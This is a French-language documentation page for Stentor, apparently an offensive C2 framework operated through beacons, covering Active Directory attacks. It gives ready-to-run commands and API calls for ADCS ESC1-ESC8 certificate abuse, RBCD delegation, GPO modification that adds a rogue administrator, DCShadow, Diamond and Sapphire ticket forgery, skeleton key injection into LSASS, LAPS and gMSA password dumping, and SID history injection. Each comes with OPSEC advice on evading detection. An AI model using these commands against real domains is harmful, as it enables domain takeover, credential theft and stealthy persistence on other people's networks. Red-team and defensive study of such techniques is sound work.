Aller au contenu

Attaques Active Directory

Stentor fournit une suite complète de techniques d'attaque Active Directory couvrant l'abus des services de certificat (ADCS ESC1-ESC8), l'exploitation de la délégation, la manipulation des stratégies de groupe, la réplication d'annuaire, la falsification avancée de tickets Kerberos, l'extraction d'informations d'identification à partir d'objets AD, l'abus de confiance, la coercition d'authentification et l'élévation de privilèges basée sur l'ACL. Chaque technique s'exécute en cours de processus via le beacon : aucun processus enfant n'est généré, aucun outil externe n'est déposé sur le disque.


Aperçu

Active Directory est l'épine dorsale de la gestion des identités et des accès en entreprise, et sa surface d'attaque est par conséquent vaste. Stentor organise les attaques AD en neuf catégories qui correspondent à la progression typique d'un engagement de compromission de domaine :

graph TD
    A[Initial Foothold<br/>Domain User] --> B{Reconnaissance}
    B --> C[ACL Abuse<br/>Permission-based escalation]
    B --> D[ADCS Exploitation<br/>Certificate abuse ESC1-ESC8]
    B --> E[Coercion<br/>Forced authentication]
    B --> F[GPO Abuse<br/>Group Policy manipulation]
    C --> G[Credential Extraction<br/>LAPS, gMSA]
    D --> H[Kerberos Tickets<br/>Diamond, Sapphire]
    E --> D
    F --> I[Code Execution<br/>via GPO deployment]
    G --> J[Lateral Movement]
    H --> J
    I --> J
    J --> K[Delegation Abuse<br/>RBCD, S4U]
    K --> L[Domain Admin]
    L --> M[Trust Abuse<br/>Cross-forest]
    L --> N[DCShadow<br/>Rogue DC]
    L --> O[Persistence<br/>SID History, Skeleton Key]

    style A fill:#6a1b9a,color:#fff
    style L fill:#b71c1c,color:#fff
    style M fill:#1a237e,color:#fff
    style N fill:#1a237e,color:#fff
    style O fill:#1a237e,color:#fff

Catégories d’attaques AD

Catégorie Techniques Privilège typique requis ATTAQUE À ONGLET&CK
ADCS ESC1-ESC8, informations d'identification fantômes, PKINIT, UnPAC Utilisateur du domaine (varie selon ESC) T1649
Abus de délégation RBCD (ajouter un ordinateur, délégation d'écriture, S4U) Utilisateur du domaine + accès en écriture à la cible T1134.001, T1558
Abus de GPO Énumérer, modifier, nettoyer Accès en écriture à l'objet GPO T1484.001, T1615
DCShadow Enregistrez le DC malveillant, effectuez les modifications, effectuez le nettoyage Administrateur de domaine T1207
Billets Kerberos Billet Diamant, Billet Saphir, Clé Squelette Clé AES krbtgt (équivalent DA) T1558.001, T1556.001
Extraction d'informations d'identification AD Décharge LAPS, décharge gMSA Accès en lecture aux attributs LAPS/gMSA T1552.006, T1555
Abus de confiance Énumération de confiance, injection d'historique SID Administrateur de domaine (pour injection) T1482, T1134.005
Coercition PrinterBug, PetitPotam, DFSCoerce, ShadowCoerce, CheeseOinking Utilisateur du domaine T1187
Abus d'ACL Réinitialisation du mot de passe, définition du SPN, ajout d'un membre, octroi de DCSync, prise en charge, SDHolder Varie selon l'autorisation ACL T1098, T1222.001

Attaques ADCS (ESC1-ESC8)

Les services de certificats Active Directory (AD CS) constituent l’une des surfaces d’attaque les plus efficaces dans les environnements AD modernes. La convention de dénomination ESC suit le document de recherche SpecterOps « Certified Pre-Owned », qui a identifié huit classes principales de mauvaise configuration (ESC1 à ESC8) qui permettent une élévation de privilèges via un abus de certificat.

Chaque technique d'exploitation ADCS dans Stentor s'enchaîne automatiquement à l'authentification PKINIT et à UnPAC-the-Hash pour l'extraction NTLM, fournissant ainsi un pipeline complet de certificat à identifiant.

ESC1 : Sujet des fournitures pour les inscrits

ESC1 exploite les modèles de certificat dans lesquels CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est défini et où l'EKU d'authentification client est présent, permettant au demandeur de spécifier un nom alternatif de sujet (SAN) arbitraire pour usurper l'identité de n'importe quel utilisateur de domaine.

Chaîne d'attaque : Demander un certificat avec SAN arbitraire -> PKINIT avec certificat -> TGT en tant qu'utilisateur cible -> UnPAC-the-Hash pour NTLM

esc1 [email protected] DC01\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1

Utilisation : esc1 <target_user> [ca] [template] [domain] [dc]

Paramètre Obligatoire Description
target_user Oui UPN de l'utilisateur à usurper l'identité (par exemple, [email protected])
ca Non Chaîne de configuration CA (format : hostname\CAName)
template Non Nom du modèle de certificat vulnérable
domain Non Domaine AD pour la chaîne automatique PKINIT
dc Non Contrôleur de domaine pour la chaîne automatique PKINIT
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "esc1 [email protected] DC01\\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1"
  }'

OPSEC

Les demandes de certificat sont enregistrées dans la base de données des certificats émis par l'autorité de certification et génèrent l'événement Windows 4887 (les services de certificats ont approuvé une demande de certificat). La valeur SAN est visible dans le certificat émis. ATTAQUE À ONGLET : T1649

ESC2 : EKU à tout usage

ESC2 exploite des modèles avec un EKU « Any Purpose » (OID 2.5.29.37.0) ou aucune contrainte EKU. Le certificat émis peut être utilisé pour l'authentification client même s'il ne dispose pas explicitement de cette EKU, permettant ainsi l'authentification PKINIT en tant qu'utilisateur actuel.

esc2 DC01\CorpCA AnyPurposeTemplate CORP.LOCAL 10.10.10.1

Utilisation : esc2 [ca] [template] [domain] [dc]

Contexte utilisateur actuel

Contrairement à ESC1, ESC2 ne permet pas l'usurpation d'identité d'autres utilisateurs. Le certificat est délivré à l'utilisateur actuel. L’escalade dépend de l’accès de l’utilisateur actuel à un modèle Any Purpose.

ESC3 : Agent d'inscription

ESC3 est une attaque d'agent d'inscription en deux étapes. Tout d’abord, demandez un certificat d’agent de demande de certificat, puis utilisez-le pour demander un certificat au nom d’un utilisateur cible à partir d’un modèle différent.

esc3 [email protected] DC01\CorpCA AgentTemplate UserTemplate CORP.LOCAL 10.10.10.1

Utilisation : esc3 <target_user> [ca] [agent_template] [target_template] [domain] [dc]

Paramètre Obligatoire Description
target_user Oui UPN de l'utilisateur à usurper l'identité
ca Non Chaîne de configuration de l'autorité de certification
agent_template Non Modèle avec EKU de l'agent de demande de certificat
target_template Non Modèle qui permet les demandes d'agent d'inscription
domain Non Domaine AD
dc Non Contrôleur de domaine

Chaîne d'attaque : Certificat d'agent -> Certificat au nom de -> PKINIT TGT -> Hachage NTLM

ESC4 : ACL de modèle vulnérable

ESC4 cible les modèles de certificat pour lesquels l'utilisateur actuel dispose d'un accès en écriture (GenericWrite, GenericAll, WriteOwner, WriteDACL). L'attaque modifie le modèle via LDAP pour activer ENROLLEE_SUPPLIES_SUBJECT, puis s'enchaîne au flux ESC1.

esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1
esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1 --no-restore

Utilisation : esc4 <target_user> <template> [ca] [domain] [dc] [--no-restore]

Chaîne d'attaque : Modification du modèle -> ESC1 (SAN arbitraire) -> PKINIT TGT -> Hachage NTLM -> Restauration du modèle

Risque de détection élevé

Les modifications de modèle génèrent l’ID d’événement 5136 (Modifications du service d’annuaire) dans le journal des événements de sécurité AD. Par défaut, Stentor restaure automatiquement la configuration du modèle d'origine après exploitation. Utilisez --no-restore uniquement si vous devez conserver la modification.

ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2

Lorsque l'autorité de certification a activé EDITF_ATTRIBUTESUBJECTALTNAME2, TOUTE demande de certificat peut inclure un SAN arbitraire dans la chaîne d'attributs de la demande, quels que soient les paramètres du modèle. Cela rend effectivement chaque modèle de cette autorité de certification vulnérable.

esc6 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1

Utilisation : esc6 <target_user> [ca] [template] [domain] [dc]

Le modèle est par défaut Utilisateur

Si aucun modèle n'est spécifié, ESC6 utilise par défaut le modèle User qui est généralement disponible pour tous les utilisateurs du domaine.

ESC7 : ManageCA / ManageCertificates

ESC7 exploite les autorisations au niveau de l'autorité de certification. Deux scénarios sont pris en charge :

Utilisez l'autorisation ManageCA pour activer EDITF_ATTRIBUTESUBJECTALTNAME2 sur l'autorité de certification via ICertAdmin2::SetConfigEntry, puis chaînez-la vers ESC6.

esc7 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1 a

Chaîne : ManageCA -> Activer EDITF -> ESC6 (SAN dans les attributs) -> PKINIT -> NTLM

Soumettez une demande de certificat à un modèle nécessitant l'approbation du responsable, puis auto-approuvez-la via ICertAdmin::ResubmitRequest.

esc7 [email protected] DC01\CorpCA ApprovalTemplate CORP.LOCAL 10.10.10.1 b

Chaîne : Soumettre la demande en attente -> Auto-approbation de l'agent -> Récupérer le certificat -> PKINIT -> NTLM

Utilisation : esc7 <target_user> [ca] [template] [domain] [dc] [scenario:a|b]

ESC8 : relais NTLM vers inscription HTTP

ESC8 est l'attaque ADCS la plus percutante : elle ne nécessite aucune mauvaise configuration particulière du modèle, mais seulement que l'autorité de certification ait activé l'inscription HTTP (courant dans les environnements d'entreprise). Combiné avec la coercition NTLM (PetitPotam/PrinterBug), il permet l'escalade de domaine en relayant l'authentification vers le point de terminaison d'inscription HTTP de l'autorité de certification.

Authentifiez-vous auprès du point de terminaison d'inscription HTTP de l'autorité de certification à l'aide des informations d'identification fournies :

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --user CORP\admin --pass Password123

Démarrez un listener de relais NTLM, puis déclenchez la coercition séparément :

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --relay --listen-port 8080

Puis dans une autre beacon : petitpotam 10.10.10.1 10.10.10.50:8080

Utilisation : esc8 <ca_host> <ca_name> [template] [target] [domain] [dc] [--relay] [--listen-port 8080] [--user user] [--pass password]

Renvoi : Coercition

Le mode relais ESC8 est plus efficace lorsqu'il est combiné avec des techniques de coercition. Utilisez petitpotam ou printerbug pour déclencher l'authentification auprès du listener relais.

Prise en charge des commandes ADCS

cert_request

Demande de certificat générique : la commande de base pour toutes les opérations ADCS.

cert_request DC01\CorpCA UserTemplate

shadow_creds

Ajoutez un identifiant de clé à l'attribut msDS-KeyCredentialLink d'une cible, permettant l'authentification PKINIT sans connaître le mot de passe. Prend également en charge la liste et la suppression des informations d'identification clés.

shadow_creds svc_sql CORP.LOCAL 10.10.10.1
shadow_creds list svc_sql CORP.LOCAL 10.10.10.1
shadow_creds remove svc_sql <device_id> CORP.LOCAL 10.10.10.1

pkinit

Authentifiez-vous à l'aide d'un certificat (PFX/PKCS12) pour obtenir un TGT via RFC 4556 PKINIT.

pkinit C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

unpac_the_hash

Extrayez le hachage NTLM d'une session Kerberos authentifiée par PKINIT en déchiffrant PAC_CREDENTIAL_INFO.

unpac_the_hash C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

Comparaison ADCS-OPSEC

ESC Nécessite Artefacts Difficulté de détection
ESC1 Modèle mal configuré (ENROLLEE_SUPPLIES_SUBJECT) Journal du certificat CA (événement 4887) Moyen
ESC2 Modèle EKU à tout usage Journal des certificats d'autorité de certification Moyen
ESC3 Modèle d'agent d'inscription + modèle cible Deux entrées de journal CA (agent + pour le compte de) Moyen
ESC4 Accès en écriture à l'objet modèle Événement 5136 (changement de service d'annuaire) + journal CA Élevé
ESC6 Indicateur EDITF activé sur CA Journal des certificats d'autorité de certification Faible-Moyen
ESC7 ManageCA ou ManageCertificates sur CA Modification de la configuration de l'autorité de certification + journal de l'autorité de certification Moyen-élevé
ESC8 Inscription HTTP activée sur CA Réseau (HTTP vers /certsrv/) + journal CA Faible
Crédits d'ombre Écrire dans msDS-KeyCredentialLink Événement 5136 (modification d'attribut) Moyen

Délégation contrainte basée sur les ressources (RBCD)

RBCD est une attaque en trois étapes qui exploite l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur les comptes d'ordinateurs. Contrairement à la délégation contrainte classique (qui nécessite la configuration de l'administrateur de domaine), la délégation RBCD peut être configurée par n'importe quel principal disposant d'un accès en écriture à l'objet AD de l'ordinateur cible.

sequenceDiagram
    participant Op as Operator
    participant B as Beacon
    participant AD as Active Directory
    participant KDC as KDC

    Note over Op,KDC: Step 1: Add Computer Account
    Op->>B: rbcd_addcomputer EVILPC Password123
    B->>AD: LDAP Add (objectClass=computer, sAMAccountName=EVILPC$)
    AD-->>B: Success (MachineAccountQuota)

    Note over Op,KDC: Step 2: Write Delegation
    Op->>B: rbcd_write TARGET$ EVILPC$
    B->>AD: LDAP Modify (msDS-AllowedToActOnBehalfOfOtherIdentity += EVILPC$ SID)
    AD-->>B: Success

    Note over Op,KDC: Step 3: S4U Attack
    Op->>B: rbcd_attack TARGET$
    B->>KDC: S4U2Self (as EVILPC$, impersonate Administrator)
    KDC-->>B: Service Ticket (forwardable)
    B->>KDC: S4U2Proxy (forward ticket to TARGET$ SPN)
    KDC-->>B: Service Ticket for TARGET$
    B-->>Op: Admin access to TARGET$

Étape 1 : rbcd_addcomputer

Créez un nouveau compte d'ordinateur en utilisant ms-DS-MachineAccountQuota (par défaut : 10 par utilisateur de domaine).

rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1

Utilisation : rbcd_addcomputer <name> [password] [domain] [dc]

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1"
  }'

OPSEC

La création d'un compte d'ordinateur génère l'événement de sécurité 4741 (compte d'ordinateur créé). Cet événement est couramment surveillé par les équipes SOC. ATTAQUE À ONGLET : T1136.002

Étape 2 : rbcd_write

Écrivez l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur l'ordinateur cible pour autoriser la délégation à partir du compte d'ordinateur contrôlé par l'attaquant.

rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1
rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

Utilisation : rbcd_write <target> <delegate_from> [domain] [dc] [--remove]

Étape 3 : rbcd_attack

Exécutez la chaîne d'attaque RBCD complète : S4U2Self + S4U2Proxy pour obtenir un ticket de service en tant qu'utilisateur usurpé.

rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1
rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1 --cleanup

Utilisation : rbcd_attack <target> [impersonate_user] [domain] [dc] [--cleanup] [--skip-add] [--skip-write] [--computer <name>] [--password <pass>] [--impersonate <user>] [--spn <spn>]

Mode tout-en-un

rbcd_attack sans --skip-add et --skip-write effectue automatiquement toute la chaîne en trois étapes (ajout d'un ordinateur + délégation d'écriture + S4U). Utilisez --cleanup pour supprimer le compte d'ordinateur et l'entrée de délégation après exploitation.

s4u

Commande autonome S4U2Self + S4U2Proxy pour une exploitation de délégation contrainte (non limitée au RBCD).

s4u administrator cifs/TARGET$ svc_sql Password123 CORP.LOCAL 10.10.10.1

Utilisation : s4u <impersonate_user> <target_spn> <svc_user> <svc_password> <domain> [dc]

Procédure pas à pas complète de la chaîne d'attaque

  1. Énumérer les objets informatiques inscriptibles : recherchez GenericAll, GenericWrite ou WriteDACL sur les comptes d'ordinateurs cibles.
  2. Ajouter un ordinateur : rbcd_addcomputer EVILPC P@ssw0rd CORP.LOCAL 10.10.10.1
  3. Écrire la délégation : rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1
  4. Demande de billet : rbcd_attack DC01$ administrator CORP.LOCAL 10.10.10.1
  5. Utilisez le ticket : kerberos_ticket_use <kirbi_base64> pour injecter le ticket de service
  6. Nettoyage : rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

Abus des objets de stratégie de groupe

Les objets de stratégie de groupe (GPO) définissent les paramètres de sécurité, le déploiement de logiciels et les scripts qui s'appliquent aux ordinateurs et aux utilisateurs au sein des unités d'organisation liées. Si un attaquant dispose d'un accès en écriture à un GPO, il peut le modifier pour déployer des tâches planifiées, des scripts ou des attributions de droits d'utilisateur malveillants.

gpo_enum

Énumérez tous les GPO du domaine, leurs unités d'organisation liées et les autorisations d'écriture sur chaque GPO. Met en évidence les GPO inscriptibles à l’attention de l’opérateur.

gpo_enum
gpo_enum DefaultDomain CORP.LOCAL 10.10.10.1

Utilisation : gpo_enum [filter] [domain] [dc]

Technique de découverte

L'énumération GPO utilise des requêtes LDAP standard pour lire les objets groupPolicyContainer et leurs unités d'organisation liées. Tout utilisateur de domaine authentifié peut énumérer les GPO. ATTAQUE À ONGLET : T1615

gpo_modify

Modifiez un GPO inscriptible pour déployer une tâche planifiée immédiate. La modification met à jour à la fois le GPC (Group Policy Container) dans LDAP et le GPT (Group Policy Template) ScheduledTasks.xml sur SYSVOL.

gpo_modify "Default Domain Policy" "powershell -enc AAAA..." --task-name UpdateCheck --user SYSTEM
gpo_modify "IT Workstations" "net localgroup administrators evil$ /add" --force

Utilisation : gpo_modify <gpo_name> <command> [arguments] [--task-name <name>] [--user <context>] [--force] [--domain <domain>] [--dc <dc>]

Risque de détection élevé

Les modifications GPO génèrent plusieurs événements d'audit : événement 5136 (modification du service d'annuaire), événement 5145 (accès au fichier SYSVOL) et événement 4698 (création de tâches planifiées sur les machines concernées). L'actualisation de la stratégie de groupe se produit généralement dans un délai de 90 à 120 minutes, ou immédiatement avec gpupdate /force.

gpo_cleanup

Restaurer un GPO à son état d'origine après exploitation. Supprime le ScheduledTasks.xml de SYSVOL et rétablit les numéros de version GPC.

gpo_cleanup "Default Domain Policy" CORP.LOCAL 10.10.10.1

Utilisation : gpo_cleanup <gpo_name> [domain] [dc]

Chaîne d'attaque GPO

  1. Enumerate : gpo_enum -- identifie les objets de stratégie de groupe inscriptibles
  2. Identifier les cibles : Notez à quelles unités d'organisation l'objet de stratégie de groupe inscriptible est lié
  3. Modifier : gpo_modify "WritableGPO" "net localgroup administrators evil$ /add"
  4. Attendez : Actualisation de la stratégie de groupe (90 à 120 minutes) ou force : gpupdate /force sur la cible
  5. Nettoyage : gpo_cleanup "WritableGPO"

DCShadow

DCShadow (T1207) permet à un attaquant d'enregistrer temporairement un contrôleur de domaine malveillant et de pousser les modifications AD qui apparaissent comme du trafic de réplication légitime. Les modifications apportées via DCShadow sont attribuées à l’ID d’invocation du DC malveillant dans les métadonnées de réplication, ce qui rend l’analyse médico-légale plus difficile.

Risque de détection extrême

DCShadow nécessite les privilèges d'administrateur de domaine, modifie la partition de configuration et crée/supprime les objets serveur et nTDSDSA. Bien que la technique soit conçue pour éviter les pistes d'audit de modification LDAP standard, les modifications du SPN et les modifications de la partition de configuration peuvent être détectées par une surveillance avancée. Nécessite deux beacons : une fonctionnant en tant que SYSTEM pour l'enregistrement DC et une en tant que DA pour la réplication push.

dcshadow_register

Enregistrez la machine actuelle en tant que contrôleur de domaine malveillant en créant des objets nTDSDSA et serveur dans la partition de configuration et en ajoutant des SPN spécifiques au contrôleur de domaine au compte de l'ordinateur.

dcshadow_register WORKSTATION1 CORP.LOCAL 10.10.10.1

Utilisation : dcshadow_register [computer_name] [domain] [dc]

dcshadow_push

Poussez une modification d’attribut AD tout en étant enregistré en tant que contrôleur de domaine malveillant. La modification est attribuée à l’ID d’invocation du contrôleur de domaine malveillant dans les métadonnées de réplication.

dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" description "Modified via DCShadow"
dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex

Utilisation : dcshadow_push <target_dn> <attribute> <value> [--type <string|binary_hex|int>] [--op <replace|add|delete>]

dcshadow_cleanup

Supprimez toutes les traces DC indésirables : supprimez nTDSDSA et les objets serveur de la partition de configuration et supprimez les SPN DC du compte d'ordinateur.

dcshadow_cleanup WORKSTATION1 CORP.LOCAL 10.10.10.1

Utilisation : dcshadow_cleanup [computer_name] [domain] [dc]

dcshadow (tout-en-un)

Exécutez le cycle de vie complet de DCShadow en une seule commande : registre -> modification push -> nettoyage.

dcshadow "CN=target,CN=Users,DC=corp,DC=local" description "Modified" --computer WORKSTATION1
dcshadow "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex --skip-cleanup

Utilisation : dcshadow <target_dn> <attribute> <value> [--computer <name>] [--skip-cleanup] [--type <string|binary_hex|int>] [--op <replace|add|delete>]

Chaîne d'attaque DCShadow

  1. Enregistrez un DC malveillant : dcshadow_register (à partir du beacon SYSTEM)
  2. Modification push : dcshadow_push (à partir du beacon DA) -- par exemple, modifier sIDHistory, la description ou tout autre attribut
  3. Nettoyage : dcshadow_cleanup (depuis le beacon SYSTEM) – supprime toutes les traces DC malveillantes
  4. Vérifier : Les modifications apparaissent dans les métadonnées de réplication attribuées à l'ID d'appel du contrôleur de domaine malveillant.

Billets Kerberos avancés

Au-delà des tickets Golden et Silver (abordés dans la page Credentials), Stentor implémente les tickets Diamond et Sapphire pour une falsification de tickets Kerberos plus résistante à la détection, ainsi qu'une clé squelette pour des portes dérobées d'authentification persistantes.

diamond_ticket

Les Diamond Tickets demandent un TGT légitime via AS-REQ, puis décryptent et modifient le PAC pour inclure les adhésions aux groupes d'administrateurs. Contrairement aux Golden Tickets (entièrement falsifiés), les Diamond Tickets partent d'une véritable interaction KDC, ce qui les rend plus difficiles à détecter car le ticket possède une signature KDC légitime et crée un véritable événement 4768 dans les journaux KDC.

diamond_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 10.10.10.1 aes256_hex_key
diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --user jsmith --user-password P@ss --impersonate Administrator --rid 500

Utilisation : diamond_ticket <domain> <domain_sid> <dc> <krbtgt_key> [--user <username>] [--user-hash <hash>] [--user-password <pw>] [--impersonate <name>] [--rid <rid>] [--output <path>] [--format <ccache|kirbi>]

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --impersonate Administrator"
  }'
Paramètre Obligatoire Description
domain Oui Domaine AD (par exemple, CORP.LOCAL)
domain_sid Oui SID de domaine (par exemple, S-1-5-21-...)
dc Oui IP/nom d'hôte du contrôleur de domaine
krbtgt_key Oui Clé krbtgt AES256 (codée en hexadécimal)
--user Non Utilisateur dont le TGT doit demander (par défaut : utilisateur actuel)
--user-password Non Mot de passe de l'utilisateur pour AS-REQ légitime
--user-hash Non Hachage NTLM/AES256 de l'utilisateur pour AS-REQ
--impersonate Non Nom d'utilisateur à placer dans un PAC falsifié (par défaut : Administrateur)
--rid Non RID pour PAC contrefait (par défaut : 500)
--output Non Enregistrer le ticket dans le chemin du fichier
--format Non Format de sortie : ccache ou kirbi

Flux de billets Diamant :

  1. Demander un TGT légitime via AS-REQ (crée un véritable événement 4768)
  2. Décryptez EncTicketPart de TGT à l'aide de la clé krbtgt AES256
  3. Remplacez le PAC par un PAC contrefait contenant les adhésions aux groupes d'administrateurs
  4. Rechiffrer EncTicketPart modifié avec la clé krbtgt
  5. Exporter au format ccache ou kirbi

OPSEC

Les Diamond Tickets sont nettement plus difficiles à détecter que les Golden Tickets car le TGT provient d’une véritable interaction KDC. Cependant, le PAC modifié peut échouer aux contrôles de validation PAC sur les contrôleurs de domaine corrigés les plus récents (post-CVE-2021-42287). ATTAQUE À ONGLET : T1558.001

sapphire_ticket

Les tickets Sapphire constituent la technique de falsification de tickets la plus résistante à la détection. Ils obtiennent un PAC légitime du KDC via S4U2Self plutôt que d'en forger un manuellement, ce qui rend le contenu du PAC impossible à distinguer d'un vrai ticket.

sapphire_ticket CORP.LOCAL 10.10.10.1 aes256_hex_key administrator
sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator --output C:\ticket.kirbi --format kirbi

Utilisation : sapphire_ticket <domain> <dc> <krbtgt_key> <impersonate> [--output <path>] [--format <ccache|kirbi>]

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator"
  }'

Flux de billets Sapphire :

  1. Obtenez un TGT en tant que krbtgt en utilisant la clé krbtgt AES256
  2. Exécutez S4U2Self en tant que krbtgt pour usurper l'identité de l'utilisateur cible - KDC génère un véritable PAC
  3. Décryptez le ticket S4U2Self et extrayez le PAC légitime
  4. Créez un nouveau TGT avec le PAC légitime intégré
  5. Exporter au format ccache ou kirbi

Diamant contre saphir

Diamond Tickets forge le PAC avec des groupes d'administrateurs codés en dur. Les billets Sapphire utilisent un PAC généré par KDC avec de véritables adhésions à des groupes d'AD. Sapphire est pratiquement indétectable via l'inspection PAC mais nécessite le même accès par clé krbtgt.

skeleton_key

Injectez un mot de passe principal dans le contrôleur de domaine LSASS qui fonctionne avec les mots de passe normaux. Après injection, tout utilisateur du domaine peut s'authentifier à la fois avec son vrai mot de passe ET le mot de passe squelette.

skeleton_key
skeleton_key --password CustomSkel3ton!

Utilisation : skeleton_key [--password <custom_password>]

Mot de passe squelette par défaut : mimikatz

Risque extrême

Skeleton Key corrige directement la mémoire LSASS sur le contrôleur de domaine. Il s’agit de la technique de persistance disponible la plus risquée :

  • Modifie un processus système critique sur le serveur le plus sensible du domaine
  • Ne survit PAS au redémarrage du DC (le redémarrage LSASS efface le correctif)
  • Corrige la fonction de validation RC4_HMAC_MD5 (etype 23) dans cryptdll.dll
  • Nécessite un accès au niveau SYSTÈME sur un contrôleur de domaine
  • MITRE ATT&CK : T1556.001 (Modifier le processus d'authentification)

Extraction des informations d'identification AD

laps_dump

Lisez les mots de passe LAPS (Local Administrator Password Solution) à partir d'Active Directory. Prend en charge à la fois LAPSv1 (ms-Mcs-AdmPwd, texte brut) et LAPSv2 (msLAPS-Password JSON, msLAPS-EncryptedPassword DPAPI-NG crypté).

laps_dump WS01
laps_dump * --domain CORP.LOCAL --dc 10.10.10.1
laps_dump DC01 --domain CORP.LOCAL --dc 10.10.10.1 --user admin --password P@ss

Utilisation : laps_dump [target] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

Utilisez * comme cible pour vider les mots de passe LAPS pour tous les comptes d'ordinateur.

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "laps_dump WS01 --domain CORP.LOCAL --dc 10.10.10.1"
  }'

OPSEC

Les lectures de mots de passe LAPS sont enregistrées via les événements d'audit LDAP. L'attribut ms-Mcs-AdmPwd dispose d'une protection ACL explicite : seuls les mandataires disposant d'un accès en lecture peuvent récupérer les mots de passe. Vérifiez l'accès avec Get-ADComputer -Properties ms-Mcs-AdmPwd avant d'exécuter. ATTAQUE À ONGLET : T1552.006

gmsa_dump

Lisez les mots de passe du compte de service géré de groupe (gMSA) à partir du blob binaire msDS-ManagedPassword. Analyse la structure MSDS-MANAGEDPASSWORD_BLOB pour extraire les mots de passe actuels et précédents, puis calcule les hachages NTLM (MD4 des octets bruts du mot de passe UTF-16LE).

gmsa_dump svc_sql$
gmsa_dump * --domain CORP.LOCAL --dc 10.10.10.1

Utilisation : gmsa_dump [target] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

Utilisez * comme cible pour vider tous les mots de passe gMSA.

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "gmsa_dump svc_sql$ --domain CORP.LOCAL --dc 10.10.10.1"
  }'

OPSEC

L'accès au mot de passe gMSA est contrôlé par l'attribut PrincipalsAllowedToRetrieveManagedPassword sur l'objet gMSA. Seuls les directeurs de cette liste peuvent lire msDS-ManagedPassword. Les hachages NTLM extraits sont stockés dans le credcache pour une réutilisation du hachage. ATTAQUE À ONGLET : T1555


Abus de confiance et inter-forêts

trust_enum

Énumérez toutes les relations d’approbation de domaine et de forêt. Répertorie le type d’approbation (parent-enfant, forêt, externe), la direction (entrante, sortante, bidirectionnelle) et l’état du filtrage SID – essentiels pour déterminer si l’injection de l’historique SID réussira dans l’approbation.

trust_enum
trust_enum --domain CORP.LOCAL --dc 10.10.10.1

Utilisation : trust_enum [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "trust_enum --domain CORP.LOCAL --dc 10.10.10.1"
  }'

La sortie inclut :

  • Nom de domaine du partenaire de confiance et nom NetBIOS (plat)
  • Direction de confiance : entrante, sortante ou bidirectionnelle
  • Type de confiance : Parent-Enfant, Forêt, Externe, MIT (domaine Kerberos)
  • Attributs de confiance : forêt transitive, filtrage SID, mise en quarantaine
  • Faire confiance au SID et à l'état de filtrage des SID

Filtrage SID

Si le filtrage SID est activé sur une approbation, les SID injectés dans sIDHistory sont supprimés lors de l'authentification au-delà de la limite de confiance. Le filtrage SID est activé par défaut sur les approbations externes mais désactivé sur les approbations intra-forêt (parent-enfant). ATTAQUE À ONGLET : T1482

sid_history

Injectez des SID dans l’attribut sIDHistory d’un utilisateur pour une élévation de privilèges entre domaines ou entre forêts. Deux modes opérationnels sont disponibles : la modification directe LDAP et la modification basée sur DCShadow.

sid_history jsmith S-1-5-21-xxx-519 --domain CORP.LOCAL --dc 10.10.10.1
sid_history jsmith S-1-5-21-xxx-519 S-1-5-21-xxx-512 --mode dcshadow
sid_history jsmith S-1-5-21-xxx-519 --remove

